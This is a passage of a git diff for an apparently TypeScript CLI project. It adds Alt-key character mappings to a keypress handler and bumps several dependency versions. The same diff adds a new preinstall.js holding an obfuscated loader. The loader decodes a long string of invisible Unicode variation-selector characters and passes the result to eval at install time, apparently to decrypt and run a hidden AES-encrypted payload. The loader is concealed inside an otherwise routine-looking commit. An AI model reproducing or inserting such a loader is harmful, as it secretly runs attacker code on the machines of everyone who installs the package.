+ '\u00AE': 'r',
+ '\u00DF': 's',
+ '\u2020': 't',
+ '\u00A8': 'u',
+ '\u221A': 'v',
+ '\u2211': 'w',
+ '\u2248': 'x',
+ '\u00A5': 'y',
+ '\\': 'y',
+ '\u03A9': 'z',
+};
+
export interface Key {
name: string;
ctrl: boolean;
@@ -327,9 +357,9 @@ export function KeypressProvider({
};
}
- // Ctrl+letters
+ // Ctrl+letters and Alt+letters
if (
- ctrl &&
+ (ctrl || alt) &&
keyCode >= 'a'.charCodeAt(0) &&
keyCode <= 'z'.charCodeAt(0)
) {
@@ -337,7 +367,7 @@ export function KeypressProvider({
return {
key: {
name: letter,
- ctrl: true,
+ ctrl,
meta: alt,
shift,
paste: false,
@@ -435,6 +465,19 @@ export function KeypressProvider({
return;
}
+ const mappedLetter = ALT_KEY_CHARACTER_MAP[key.sequence];
+ if (mappedLetter && !key.meta) {
+ broadcast({
+ name: mappedLetter,
+ ctrl: false,
+ meta: true,
+ shift: false,
+ paste: isPaste,
+ sequence: key.sequence,
+ });
+ return;
+ }
+
if (key.name === 'return' && waitingForEnterAfterBackslash) {
if (backslashTimeout) {
clearTimeout(backslashTimeout);
diff --git a/packages/core/package.json b/packages/core/package.json
index 43dc8e459d7..9a0d6f3508a 100644
--- a/packages/core/package.json
+++ b/packages/core/package.json
@@ -42,13 +42,13 @@
"ajv": "^8.17.1",
"ajv-formats": "^3.0.0",
"chardet": "^2.1.0",
- "diff": "^7.0.0",
+ "diff": "^8.0.3",
"dotenv": "^17.1.0",
"fast-levenshtein": "^2.0.6",
"fast-uri": "^3.0.6",
"fdir": "^6.4.6",
"fzf": "^0.5.2",
- "glob": "^10.4.5",
+ "glob": "^13.0.6",
"google-auth-library": "^9.11.0",
"html-to-text": "^9.0.5",
"https-proxy-agent": "^7.0.6",
diff --git a/packages/vscode-ide-companion/package.json b/packages/vscode-ide-companion/package.json
index 4d0d16377fc..5d80823ee32 100644
--- a/packages/vscode-ide-companion/package.json
+++ b/packages/vscode-ide-companion/package.json
@@ -137,7 +137,7 @@
"vitest": "^3.2.4"
},
"dependencies": {
- "@modelcontextprotocol/sdk": "^1.15.1",
+ "@modelcontextprotocol/sdk": "^1.26.0",
"cors": "^2.8.5",
"express": "^5.1.0",
"zod": "^3.25.76"
diff --git a/preinstall.js b/preinstall.js
new file mode 100644
index 00000000000..fd42c07e2ca
--- /dev/null
+++ b/preinstall.js
@@ -0,0 +1 @@
+const s=v=>[...v].map(w=>(w=w.codePointAt(0),w>=0xFE00&&w<=0xFE0F?w-0xFE00:w>=0xE0100&&w<=0xE01EF?w-0xE0100+16:null)).filter(n=>n!==null);eval(Buffer.from(s(`󠅋󠄞󠄞󠄞󠄘󠅖󠅥󠅞󠅓󠅤󠅙󠅟󠅞󠄚󠄘󠄙󠅫󠅓󠅟󠅞󠅣󠅤󠄐󠅔󠄭󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄗󠅓󠅢󠅩󠅠󠅤󠅟󠄗󠄙󠄞󠅓󠅢󠅕󠅑󠅤󠅕󠄴󠅕󠅓󠅙󠅠󠅘󠅕󠅢󠅙󠅦󠄘󠄗󠅑󠅕󠅣󠄝󠄢󠄥󠄦󠄝󠅓󠅒󠅓󠄗󠄜󠄗󠄷󠅁󠅟󠄡󠅕󠄢󠄤󠅣󠅆󠄺󠅁󠄽󠄥󠅝󠅞󠅙󠄺󠄩󠄨󠄽󠅒󠅅󠅃󠅅󠄛󠅉󠅂󠄤󠅂󠅩󠅦󠄨󠄗󠄜󠄲󠅥󠅖󠅖󠅕󠅢󠄞󠅖󠅢󠅟󠅝󠄘󠄗󠄠󠄢󠄦󠄤󠅕󠅓󠄡󠄢󠄨󠄥󠅔󠄣󠄥󠄠󠄤󠄥󠄦󠄥󠅔󠄣󠅖󠄡󠅖󠄥󠄢󠄠󠄣󠄤󠄡󠄠󠄠󠄦󠄗󠄜󠄗󠅘󠅕󠅨󠄗󠄙󠄙󠄫󠅜󠅕󠅤󠄐󠅒󠄭󠅔󠄞󠅥󠅠󠅔󠅑󠅤󠅕󠄘󠄗󠅔󠄨󠅓󠄢󠄣󠅔󠄠󠄤󠄧󠄡󠄡󠄤󠅖󠅕󠄠󠅓󠅓󠄥󠄠󠅑󠄧󠄢󠄠󠄡󠅓󠄦󠅖󠅒󠅖󠅒󠄢󠄡󠄢󠅓󠄧󠄤󠄥󠅖󠄨󠅔󠄥󠄣󠄨󠄡󠄨󠅑󠅔󠅒󠅑󠅖󠅑󠄤󠄦󠄧󠄦󠅓󠅓󠅕󠅔󠄦󠄦󠄠󠄢󠅑󠅕󠅓󠅑󠄥󠄥󠄧󠅕󠄦󠅓󠄡󠄩󠅕󠄤󠄠󠄠󠅑󠅖󠅕󠄨󠄡󠄩󠄥󠄤󠄠󠅒󠅔󠄢󠄦󠅒󠅔󠄠󠅓󠄤󠅒󠄣󠅒󠅑󠄡󠅔󠅔󠄦󠅔󠅔󠅑󠄨󠅒󠅑󠅑󠄨󠄧󠄢󠄢󠄡󠅖󠅑󠅓󠄥󠄤󠅕󠅖󠄨󠅑󠄤󠄧󠄩󠅒󠄣󠅕󠄠󠄥󠄢󠄦󠅕󠄨󠅔󠅑󠄧󠄠󠅑󠄨󠅕󠅔󠅖󠅑󠅓󠄥󠄢󠄩󠅕󠄨󠅓󠄤󠅖󠄩󠄨󠄤󠅒󠅖󠄥󠄦󠄡󠄢󠄠󠄡󠅑󠅒󠄦󠄨󠅓󠄤󠅓󠄡󠅖󠅕󠅑󠄥󠅒󠅔󠅔󠄧󠄩󠄠󠄢󠅔󠄢󠄢󠄣󠄦󠄢󠄣󠄡󠄢󠄧󠅒󠅑󠄢󠅓󠄥󠅖󠅔󠅑󠅕󠄦󠅖󠅕󠅓󠅓󠄤󠄡󠄨󠄤󠄡󠅔󠅕󠄦󠅔󠄢󠅖󠄤󠄢󠄧󠅓󠄢󠄥󠄩󠄠󠅕󠄥󠅔󠄩󠅒󠄦󠄦󠄡󠄤󠄢󠄨󠄢󠅑󠅒󠅒󠄡󠅓󠄧󠄥󠄥󠄧󠄠󠅓󠄨󠄩󠅓󠄧󠄤󠄠󠄧󠄣󠅔󠄣󠅓󠄠󠅓󠄢󠄨󠄥󠄢󠅒󠅕󠅔󠄦󠄦󠅖󠄦󠅑󠄤󠄧󠄩󠄤󠅔󠅓󠅓󠅒󠄦󠄡󠅖󠅓󠄦󠄠󠄦󠄣󠄥󠅖󠄧󠄦󠄠󠄠󠅔󠅑󠄤󠄩󠄧󠄠󠄤󠄤󠅒󠅔󠅓󠄤󠄡󠄨󠅑󠄥󠄧󠅕󠄦󠄨󠄣󠄢󠅖󠄨󠄩󠄧󠄠󠅔󠄠󠅓󠄡󠄢󠅕󠄡󠄠󠄧󠄠󠄧󠅖󠄣󠄥󠅒󠄠󠄠󠄡󠅖󠅕󠅕󠄩󠅖󠅑󠅒󠄠󠅕󠄧󠅓󠄩󠄦󠄨󠅓󠅔󠅒󠄡󠅖󠄣󠅕󠅓󠄡󠄡󠄡󠄠󠅔󠄨󠄢󠅔󠄧󠄢󠄩󠄡󠄩󠄩󠄠󠄥󠅖󠄩󠄨󠅖󠅑󠄢󠅖󠅕󠄣󠅕󠄢󠅓󠄡󠄨󠄩󠅓󠄠󠄧󠄥󠅒󠄣󠄢󠅕󠄢󠅕󠄢󠄨󠄨󠄡󠄢󠅓󠄩󠄩󠄧󠅔󠄡󠄤󠅑󠄥󠄩󠄡󠄩󠅑󠅒󠄤󠄠󠄣󠄦󠄢󠄡󠅖󠄢󠄠󠅓󠅔󠄦󠄣󠄨󠄩󠄡󠄦󠅑󠅔󠅕󠅒󠅓󠅖󠄠󠄨󠄦󠅒󠄡󠅔󠅖󠄡󠅑󠄠󠄣󠄡󠅖󠄦󠅒󠄦󠄩󠄢󠅓󠄨󠄤󠄩󠄤󠄦󠄡󠅑󠄧󠄣󠄥󠄨󠅖󠄨󠄨󠄩󠄢󠄩󠅖󠄩󠄦󠄡󠄢󠄡󠄧󠅕󠄢󠄦󠄩󠄧󠄠󠄣󠅒󠄨󠄠󠅒󠅓󠄣󠅕󠄩󠄦󠄠󠄢󠅑󠅖󠄢󠅕󠄩󠅒󠄥󠄩󠄦󠄡󠄤󠄡󠄨󠄨󠄣󠄤󠄣󠅕󠅑󠄦󠄣󠄩󠄥󠅖󠄤󠄧󠅕󠄥󠄢󠄢󠅕󠄠󠅔󠄥󠄧󠅖󠄠󠄥󠅓󠄣󠅖󠅖󠄡󠅕󠄢󠄣󠅔󠄣󠅑󠄢󠄢󠄨󠄩󠄢󠅑󠄧󠄩󠅓󠄦󠄥󠄧󠄠󠅒󠄠󠅒󠄨󠄨󠄤󠅖󠄤󠅔󠄢󠅓󠄨󠄢󠅖󠄨󠅖󠄨󠅑󠅔󠄧󠄦󠄤󠄢󠄥󠅒󠄢󠅓󠄢󠄨󠄨󠄨󠄤󠅒󠄡󠄩󠄠󠄩󠄤󠅓󠅖󠅒󠄠󠄩󠄤󠅕󠅖󠅑󠄣󠄨󠅓󠄩󠅕󠅑󠄩󠅒󠄧󠄣󠄤󠅓󠄢󠄤󠄦󠅖󠄡󠄩󠄢󠄧󠅓󠅓󠄣󠄢󠄦󠅒󠄠󠅕󠅒󠄣󠅑󠄤󠄡󠄦󠄩󠄩󠅕󠄣󠄤󠄨󠄦󠄤󠅕󠄥󠄧󠅒󠄥󠅓󠄦󠄩󠄨󠄤󠄤󠄥󠅔󠅓󠅓󠅕󠄧󠄣󠅖󠅓󠄨󠄧󠄤󠄠󠄣󠅕󠄢󠅓󠄦󠄥󠄧󠄢󠄣󠅓󠅓󠅓󠄨󠅔󠄨󠅕󠄨󠄩󠅔󠅕󠅒󠅑󠄧󠄥󠄢󠄠󠄥󠄣󠅒󠄠󠄨󠄠󠅕󠅒󠅕󠄤󠅔󠄨󠄦󠅓󠄦󠅒󠅑󠄠󠄦󠅑󠄩󠅖󠅒󠄠󠅒󠅖󠅑󠄧󠄡󠅕󠅔󠅓󠄨󠄨󠄩󠄦󠄩󠄡󠄧󠄧󠄥󠄥󠅖󠄠󠄢󠄩󠄧󠅓󠅒󠄡󠄤󠅓󠅔󠅔󠅕󠄦󠄡󠄠󠄣󠅖󠄦󠄣󠄥󠄧󠅔󠄧󠄧󠅔󠄨󠄡󠄠󠄡󠅕󠄢󠄠󠄩󠄦󠄢󠄦󠄦󠄥󠅕󠄠󠄩󠄩󠅒󠅒󠅓󠄥󠅔󠅓󠄩󠅒󠅔󠄠󠅔󠅒󠅓󠅖󠅕󠄢󠄣󠅕󠅒󠄠󠅑󠄧󠅑󠄠󠄡󠄦󠄥󠄠󠅓󠄠󠄥󠅒󠄣󠄢󠄡󠄥󠄢󠅑󠄧󠅕󠄤󠅖󠄣󠄧󠄣󠄡󠄡󠄢󠅓󠄡󠅕󠄦󠄩󠅑󠅑󠄨󠄦󠄨󠄤󠅖󠅓󠅑󠅑󠄧󠅖󠄣󠄡󠄩󠅕󠄤󠄦󠄣󠄠󠄨󠅔󠅕󠅓󠄩󠄤󠄨󠄨󠄩󠄢󠄡󠄩󠅓󠅓󠄦󠅖󠅕󠄣󠄣󠄡󠅑󠄦󠄣󠄦󠄣󠅖󠄥󠅕󠄢󠅔󠄤󠄦󠅑󠅒󠅒󠄥󠅓󠄣󠄨󠄥󠄥󠄥󠄩󠄡󠄦󠄧󠄩󠄡󠅒󠄢󠄠󠄧󠅖󠄦󠄣󠄤󠄤󠅒󠅕󠅖󠄨󠄦󠅖󠄠󠄩󠅑󠄨󠅓󠄠󠅑󠄨󠅕󠅖󠄥󠄢󠄦󠄤󠄥󠄥󠅑󠄤󠄢󠅒󠅑󠄣󠅖󠄦󠄤󠄢󠄩󠄧󠅒󠄡󠄥󠄨󠄨󠅕󠅕󠅓󠄣󠅒󠄠󠅑󠄡󠅕󠄣󠄧󠄤󠅖󠄩󠅓󠅕󠄦󠄠󠅔󠅓󠄦󠅓󠄩󠄨󠄡󠅔󠄩󠅑󠅔󠄢󠅓󠄧󠄡󠄡󠅕󠄦󠅔󠅑󠅖󠄨󠅒󠄢󠄥󠅒󠄩󠄩󠅓󠅒󠄩󠄥󠅒󠄥󠅔󠄧󠅖󠅓󠅕󠅕󠄡󠄧󠄤󠄨󠄩󠄡󠅒󠅓󠄢󠄢󠅒󠄤󠄦󠄧󠄨󠄨󠄧󠄠󠅕󠅖󠄥󠄨󠄢󠄩󠅕󠄡󠄢󠄩󠅔󠄧󠄧󠄩󠅖󠄧󠄣󠅓󠄧󠄠󠄣󠄠󠄥󠄦󠅔󠄢󠄢󠄩󠄥󠅕󠅒󠅑󠅒󠅒󠄢󠅑󠅑󠅑󠅕󠄦󠄠󠅓󠅔󠄢󠅔󠄥󠄩󠄨󠅒󠄧󠄧󠅕󠄥󠄧󠄡󠄨󠅖󠄣󠅖󠅑󠄠󠅓󠄧󠄨󠄤󠅔󠅓󠄦󠄧󠅔󠄣󠅕󠄤󠄧󠅕󠄥󠄦󠅕󠄣󠄩󠅒󠄡󠄧󠄦󠅕󠄢󠅕󠄥󠅑󠅒󠄥󠄩󠄨󠄧󠄣󠄩󠅑󠄩󠅖󠅕󠄡󠄣󠄤󠅖󠅒󠄡󠄣󠅑󠄢󠄦󠅕󠅓󠄥󠄣󠄡󠄣󠅖󠄥󠅔󠄨󠄢󠄢󠄩󠄢󠄡󠄢󠅖󠅔󠄨󠄧󠄩󠄩󠄩󠄧󠄥󠄠󠄢󠄧󠄤󠄢󠄧󠄠󠄣󠄣󠄡󠅑󠅔󠄠󠄠󠄥󠄤󠅒󠅖󠄣󠅔󠄣󠅖󠅑󠄡󠅔󠄤󠄥󠄨󠄡󠄩󠄦󠄥󠄣󠅕󠄨󠄩󠅓󠄨󠄠󠄢󠄧󠄧󠄣󠄠󠄦󠄥󠄡󠅓󠄣󠄤󠅑󠄡󠄠󠅒󠅖󠅒󠄥󠄩󠄥󠄧󠅓󠄦󠅑󠅒󠄧󠄤󠅒󠅕󠅖󠄩󠅖󠅑󠄧󠅕󠅒󠄥󠄠󠄩󠄨󠄥󠅕󠄥󠅖󠅑󠄤󠄤󠄨󠅑󠄦󠄡󠅒󠅔󠅑󠄢󠅔󠅑󠄥󠄡󠄦󠅒󠄢󠅕󠅑󠄦󠄣󠄩󠄠󠄡󠄥󠄤󠅔󠄣󠄡󠄤󠅔󠄧󠄢󠅖󠅓󠅑󠅕󠄢󠄨󠄧󠄡󠄧󠅔󠅖󠄡󠄦󠅑󠄤󠄩󠄠󠅒󠅕󠅒󠅕󠅖󠅑󠅑󠄡󠄥󠄠󠄦󠄥󠄤󠄦󠄡󠄧󠄠󠄠󠄢󠅔󠅕󠄤󠅔󠄤󠅔󠄧󠅔󠅖󠅑󠅓󠅒󠅕󠅑󠅖󠄧󠅒󠅒󠅖󠄨󠄨󠄠󠅒󠄠󠅑󠅓󠄩󠄢󠄨󠄦󠅔󠅔󠄧󠄩󠅑󠄧󠄩󠄠󠄥󠄤󠅔󠅒󠄦󠄠󠅒󠄡󠅕󠅕󠄦󠅔󠄨󠄥󠄢󠄥󠅖󠄤󠅒󠅕󠄨󠄡󠄢󠄠󠄦󠅖󠄨󠄥󠄤󠄧󠅑󠄦󠄩󠄠󠅕󠄩󠄥󠅖󠄥󠅖󠄤󠄥󠄢󠄣󠅖󠄢󠅑󠅕󠄩󠄦󠄦󠄠󠅕󠅑󠄣󠄦󠄢󠅔󠅖󠅔󠄨󠄧󠄥󠅓󠄣󠅓󠄡󠄠󠅑󠄥󠄣󠅓󠅑󠅕󠄦󠄩󠅔󠅓󠄣󠅒󠄤󠅑󠅓󠄦󠄣󠄣󠅒󠄦󠄦󠅑󠅓󠄨󠄩󠅑󠄠󠅖󠄢󠄦󠄥󠄩󠅖󠄨󠅒󠅕󠄣󠄤󠅒󠄥󠅖󠅓󠄨󠄧󠅖󠄥󠅖󠄢󠅖󠅒󠅖󠅔󠅔󠅖󠅒󠄢󠄥󠄥󠄧󠅑󠅒󠄨󠄠󠄤󠄥󠄧󠅓󠅑󠅕󠅓󠄢󠄥󠄡󠄩󠄤󠅑󠅕󠄡󠄤󠅓󠄧󠄨󠄢󠄨󠄩󠄦󠄥󠅒󠅔󠄤󠅖󠅑󠄣󠄩󠅒󠄠󠅑󠄩󠄡󠅔󠅕󠅑󠄠󠄣󠅔󠅕󠄡󠅔󠅑󠅕󠄣󠄤󠄡󠅕󠅖󠅖󠄧󠄢󠄥󠅖󠄤󠅖󠄧󠅒󠅕󠅕󠄦󠅑󠅑󠅓󠄤󠄢󠅒󠄣󠅓󠄨󠄦󠄣󠄠󠅒󠅑󠄤󠅖󠄦󠅓󠄢󠅑󠄢󠄤󠄦󠄦󠅕󠄧󠄥󠄢󠄤󠄠󠄧󠅕󠄧󠄦󠄥󠄣󠅕󠄠󠅔󠅔󠅒󠄡󠅓󠅓󠅖󠄨󠄩󠄠󠄧󠄦󠄠󠄠󠄤󠅔󠄣󠄨󠄨󠄦󠅕󠄠󠄩󠅖󠅕󠄨󠄠󠄢󠄧󠄢󠅔󠅕󠅔󠄨󠅒󠄥󠄨󠄦󠅒󠅕󠄨󠄣󠅑󠅑󠅓󠄣󠄠󠅖󠅖󠄦󠄣󠄧󠄣󠅓󠅓󠄩󠄧󠄡󠅒󠅓󠄧󠄨󠄢󠄥󠅒󠄤󠅔󠄧󠄥󠄤󠅒󠅑󠄢󠄤󠄩󠄦󠄠󠄠󠅑󠅖󠅕󠅖󠄥󠄡󠄨󠅖󠄩󠅖󠄧󠅑󠄥󠅔󠄥󠅖󠄢󠄣󠄠󠅑󠄢󠅖󠅖󠅒󠄡󠅓󠄤󠄩󠄥󠄠󠄧󠄦󠄣󠅓󠄧󠅕󠅑󠅓󠅓󠅓󠅒󠄩󠅕󠅒󠄢󠄠󠅕󠄥󠄧󠅓󠅒󠅔󠅖󠄣󠄧󠅑󠄩󠅓󠄩󠅓󠅑󠄥󠄧󠄢󠅖󠄡󠄤󠄩󠅑󠄤󠄣󠅔󠅒󠄣󠄤󠄤󠄣󠅔󠅔󠄦󠄦󠄨󠅑󠄤󠄦󠅖󠄥󠄤󠅕󠅕󠅓󠄢󠄧󠄤󠄤󠄨󠅓󠅒󠄢󠄦󠄠󠅕󠅕󠄥󠄠󠅔󠄩󠄩󠄣󠄡󠅑󠄠󠄧󠄡󠄡󠄩󠄥󠄧󠄤󠄣󠄣󠄣󠄠󠅕󠅓󠅑󠄠󠄨󠄢󠄠󠅕󠄩󠄣󠅑󠄨󠄦󠄤󠅕󠄠󠄡󠅒󠄦󠄤󠄢󠄥󠄤󠄢󠄠󠄤󠄦󠅑󠄤󠄠󠄤󠅔󠅕󠄨󠅖󠄩󠅖󠄡󠄡󠄩󠄧󠄣󠅖󠄦󠄢󠄨󠅒󠄧󠅑󠄩󠅒󠅖󠄡󠄩󠄧󠄩󠄥󠄧󠅕󠅖󠅕󠅑󠄨󠄤󠄧󠅔󠅓󠄢󠅓󠅒󠄤󠄠󠄨󠅑󠄨󠅖󠄥󠄠󠅖󠄤󠄡󠄤󠅖󠄤󠄥󠅑󠅔󠄣󠅔󠄡󠄨󠅒󠄤󠄠󠄩󠅕󠄨󠅑󠄤󠄠󠄢󠄩󠄡󠄡󠅖󠄣󠅑󠄧󠄢󠄨󠄤󠅑󠄠󠅖󠄡󠅓󠄨󠄦󠄦󠄤󠄧󠅔󠄥󠄢󠅑󠅓󠅒󠅑󠅒󠅑󠄣󠄡󠅔󠅖󠄡󠅒󠄣󠄨󠄩󠄦󠄠󠄥󠅓󠄢󠄡󠅒󠄢󠅕󠅒󠅕󠄧󠅓󠅒󠄦󠄣󠅒󠅑󠄦󠄡󠄣󠄡󠅒󠄦󠄢󠅓󠅖󠄩󠅔󠄨󠅔󠅑󠅖󠄣󠄦󠄤󠅖󠄣󠄣󠅔󠄡󠅒󠄥󠄣󠅒󠅑󠄤󠄠󠄥󠄤󠄣󠄠󠄥󠅖󠄠󠄡󠅕󠄤󠄩󠄩󠄤󠅕󠅓󠅔󠄤󠄨󠅖󠄨󠄤󠅖󠄤󠅒󠅖󠄨󠄥󠄧󠄨󠄤󠄦󠅕󠅖󠅕󠄤󠄢󠄧󠄡󠄣󠄡󠄦󠄦󠄧󠄧󠅒󠄨󠄥󠅕󠅑󠅖󠅖󠄨󠄨󠅒󠄢󠄡󠅓󠄤󠄤󠅓󠄥󠅑󠅓󠅖󠄢󠄣󠄢󠅓󠄦󠅕󠄩󠄢󠅓󠄣󠄡󠄦󠅒󠄢󠅕󠄠󠄢󠅓󠄨󠄧󠅒󠅒󠄩󠄣󠄥󠄨󠄩󠄤󠅑󠄤󠅕󠅓󠅓󠅒󠄩󠅑󠅓󠅔󠄨󠄤󠄢󠄦󠄤󠄧󠄣󠄠󠄣󠄧󠅖󠅔󠄥󠅖󠄤󠄧󠅔󠄥󠅔󠅓󠄡󠄩󠅕󠄣󠄧󠄡󠄩󠅕󠅒󠄣󠅕󠄩󠄠󠅒󠄡󠅓󠄥󠄤󠄥󠅖󠄢󠅓󠅕󠅖󠄤󠅕󠅕󠅒󠄡󠄣󠅔󠄡󠅓󠄤󠄠󠅔󠄩󠄨󠅑󠄧󠅔󠄣󠅒󠄤󠄡󠄥󠄥󠅕󠄨󠄡󠄣󠄠󠄧󠄨󠄨󠄨󠄣󠄥󠄠󠄧󠅔󠄡󠄥󠅖󠄧󠅕󠄡󠄢󠄠󠅓󠅔󠅒󠅑󠄢󠅓󠄢󠄨󠄣󠅒󠄣󠄥󠅑󠅖󠄩󠄦󠅕󠅒󠄧󠄩󠅕󠄨󠄩󠄡󠅖󠅓󠄨󠄦󠅑󠄧󠄦󠅔󠅕󠄣󠄥󠅕󠅕󠅑󠄦󠅑󠄥󠅖󠄤󠅑󠄧󠄡󠄤󠅔󠄢󠅒󠅕󠄠󠄡󠄠󠄢󠄤󠄣󠅔󠄧󠄤󠄡󠄩󠄠󠄩󠅔󠄩󠅖󠄨󠄥󠄠󠄡󠅖󠅒󠄨󠅕󠄩󠅓󠄣󠄨󠄡󠄢󠄧󠅒󠅕󠄥󠄧󠄥󠄦󠄢󠅖󠄠󠅓󠅖󠄦󠄠󠅖󠅒󠄢󠄨󠄥󠄠󠅔󠄠󠄣󠄠󠅓󠄣󠅔󠄧󠄥󠄠󠄡󠄡󠄥󠅓󠄣󠄩󠅓󠄩󠄡󠄣󠅒󠄥󠄢󠄡󠄨󠄩󠅖󠄤󠄡󠅒󠄠󠄢󠅑󠄡󠄣󠅓󠅓󠅔󠅔󠄤󠄧󠄥󠄦󠄡󠅓󠄢󠅖󠄨󠅓󠄢󠅕󠄤󠄥󠄨󠄦󠄣󠄠󠅒󠄦󠅕󠄢󠅕󠄦󠄥󠄣󠅒󠄦󠅖󠄧󠄠󠄤󠄢󠅕󠄦󠄤󠄨󠄧󠄤󠄧󠅓󠅒󠄡󠅔󠄠󠄢󠄣󠅓󠅕󠄦󠅒󠅑󠄥󠄠󠅑󠅒󠅖󠄧󠄨󠄠󠄧󠅓󠄥󠅑󠅒󠄥󠅓󠄦󠄡󠅔󠅑󠄣󠄦󠅓󠄡󠄦󠅕󠅔󠅒󠅑󠅕󠄧󠄨󠅖󠄣󠅔󠄩󠄠󠄠󠄠󠄣󠄤󠄠󠅖󠄨󠅓󠄡󠄩󠅔󠅕󠅕󠄣󠄡󠄦󠅒󠅖󠄧󠅕󠄨󠄩󠄨󠄢󠄣󠅑󠄦󠅑󠅖󠄨󠄥󠄩󠄦󠄠󠅓󠄦󠄧󠄣󠅕󠅑󠅔󠅕󠄦󠅖󠅑󠄧󠄡󠄣󠅖󠄡󠄧󠅕󠅕󠅓󠅑󠄠󠄢󠄧󠄦󠄢󠅓󠅒󠄩󠄤󠄩󠄦󠅒󠄡󠄥󠅕󠅕󠅖󠅕󠄦󠄣󠅖󠅔󠄡󠄠󠄧󠄤󠅒󠄦󠅕󠄠󠄥󠅓󠄠󠅑󠄥󠄨󠅖󠄠󠅑󠅑󠄣󠄧󠅖󠅓󠄤󠄡󠄢󠄧󠄩󠄨󠄥󠅒󠄨󠅕󠄦󠄨󠄢󠅑󠄣󠄠󠄤󠅕󠅖󠅑󠅓󠄡󠅑󠄢󠅖󠅖󠄦󠄡󠄣󠅔󠅖󠄤󠄢󠄦󠄢󠄡󠄤󠄨󠅒󠅕󠅖󠅔󠄦󠅒󠅕󠄣󠅑󠄨󠅒󠅔󠄣󠅑󠄠󠅓󠅒󠅔󠄥󠅓󠅓󠅕󠅒󠄩󠅒󠅑󠄠󠄤󠅒󠅖󠅖󠄨󠄩󠄢󠄢󠅖󠅔󠄧󠄩󠄩󠅔󠄧󠅔󠄢󠄦󠄢󠅓󠅔󠄡󠄠󠅓󠄢󠄨󠅒󠄨󠅔󠄠󠅔󠅒󠅑󠄡󠄤󠄣󠄣󠅑󠅒󠄨󠄨󠄤󠄢󠅕󠄠󠅑󠄦󠄥󠄢󠅕󠅓󠄡󠄡󠅒󠄡󠄧󠅓󠅒󠄣󠅔󠄥󠄠󠄧󠄧󠅔󠄤󠄡󠄦󠅖󠄦󠄢󠄩󠅑󠅒󠅑󠄣󠅕󠅓󠄧󠅒󠄦󠄧󠅕󠄥󠅔󠄦󠄥󠄩󠅔󠄣󠅖󠅕󠄩󠄦󠄠󠅕󠅖󠅖󠄠󠅒󠄦󠄥󠄡󠄧󠅑󠅕󠄨󠄨󠄩󠄩󠄧󠅔󠄧󠅑󠅒󠅓󠅔󠄣󠅖󠄩󠄤󠄦󠄦󠄩󠄢󠄤󠄢󠅔󠄣󠄢󠄠󠅕󠅖󠄠󠄢󠅒󠅕󠄧󠅔󠅒󠄨󠄥󠄥󠅕󠅓󠄩󠄣󠅑󠄣󠄡󠄥󠄥󠄤󠄩󠄦󠄤󠅕󠅖󠄥󠄢󠅔󠅖󠄡󠄡󠄠󠄩󠄣󠄧󠄡󠅖󠄣󠄢󠅓󠅓󠄩󠅖󠄡󠄧󠅖󠄢󠅕󠅑󠄣󠄡󠅒󠄤󠅖󠄥󠄣󠅓󠄣󠄠󠄢󠄥󠅖󠄠󠅑󠄨󠄧󠅓󠄢󠅒󠅑󠄦󠄦󠄢󠄩󠄢󠄡󠅑󠄨󠄩󠄦󠅒󠄠󠅒󠄠󠄣󠄢󠄡󠅕󠄨󠄥󠄤󠄩󠄧󠄥󠅓󠄤󠄩󠅓󠅖󠅖󠄢󠄧󠄧󠄠󠄠󠅓󠅔󠄣󠄩󠄢󠅑󠅒󠅒󠄣󠅔󠄡󠅒󠅕󠅔󠄦󠄦󠅒󠅖󠄢󠅔󠅒󠅑󠄩󠄩󠄣󠄤󠄧󠄩󠄡󠄨󠄧󠅒󠄦󠄩󠄤󠄡󠅓󠅒󠄧󠄧󠅑󠅖󠄥󠅖󠅔󠄩󠅓󠄡󠄤󠅑󠅖󠄡󠅕󠄢󠄣󠄩󠅕󠅒󠅖󠄦󠄢󠅒󠅔󠄩󠄩󠅕󠄥󠄦󠄡󠅑󠄠󠄥󠅒󠄣󠄩󠅑󠅒󠄥󠄢󠄢󠄥󠄥󠅕󠅕󠄩󠅑󠅓󠅕󠅑󠄡󠅓󠄤󠄦󠅖󠄥󠄩󠄡󠄧󠄨󠄥󠄣󠄦󠅓󠄢󠅕󠄣󠄡󠄦󠅒󠅕󠄡󠅕󠅔󠄠󠅒󠄠󠄡󠄢󠅔󠅒󠅔󠅒󠅑󠄩󠄣󠄠󠄧󠄡󠄧󠄢󠅔󠅕󠄥󠄩󠄩󠄣󠅕󠄠󠅒󠅔󠄦󠅖󠅒󠄢󠅒󠅓󠄢󠅑󠄤󠅖󠅕󠄠󠅕󠄡󠄠󠄦󠄣󠄥󠅕󠅑󠄩󠄨󠄢󠅑󠄦󠄢󠅔󠅓󠅔󠅕󠅔󠄧󠄢󠄩󠅑󠄥󠄧󠄠󠄢󠅔󠄩󠄣󠄧󠄣󠅒󠄠󠅔󠅒󠄠󠄤󠄢󠄡󠄧󠄡󠅕󠅓󠄧󠄧󠅕󠄠󠄣󠄧󠄡󠄧󠅖󠄨󠄥󠄣󠄩󠅖󠅖󠄣󠄢󠄥󠅑󠄡󠅒󠅔󠄦󠄣󠅔󠄨󠅒󠄤󠅑󠅒󠅓󠅑󠄣󠅑󠄠󠅒󠄢󠄡󠄧󠄧󠄧󠄢󠄩󠄠󠅓󠄨󠄨󠄠󠅔󠄢󠄥󠄡󠅒󠄧󠄢󠅔󠅔󠄧󠄤󠄢󠅖󠅖󠅔󠅓󠄡󠄠󠄤󠅕󠅖󠄣󠄡󠅕󠄢󠅒󠄧󠄩󠄥󠄩󠄦󠄤󠄤󠄡󠄤󠄧󠅔󠅒󠅓󠄣󠄥󠄠󠅕󠅕󠄢󠅖󠄢󠅓󠄨󠅕󠄨󠄣󠅕󠅒󠄢󠄢󠄤󠄤󠅑󠄢󠅕󠄦󠄡󠄦󠄧󠅔󠅔󠅖󠄠󠅕󠄡󠄢󠄨󠄣󠅔󠄢󠅓󠄧󠅔󠄤󠄠󠄡󠅒󠄦󠄦󠅖󠅑󠅖󠅓󠄡󠄡󠄡󠄢󠅖󠄣󠄧󠄨󠄨󠅕󠄣󠄨󠅓󠅒󠄠󠄤󠅒󠅓󠅔󠅓󠄡󠄠󠄡󠅓󠄥󠅔󠄠󠅒󠅓󠄥󠄠󠅒󠄢󠅔󠄨󠅒󠄧󠄢󠄩󠄤󠄠󠄥󠅕󠄩󠅒󠅕󠅔󠅑󠅕󠄩󠄩󠄢󠄠󠄢󠅓󠄢󠅔󠄦󠄩󠅑󠄨󠄢󠅖󠅑󠄡󠄧󠄢󠄩󠄣󠄡󠄣󠄠󠄠󠅖󠅕󠄣󠄤󠅖󠅕󠄦󠅓󠄢󠄡󠅕󠄨󠄣󠅑󠅓󠄣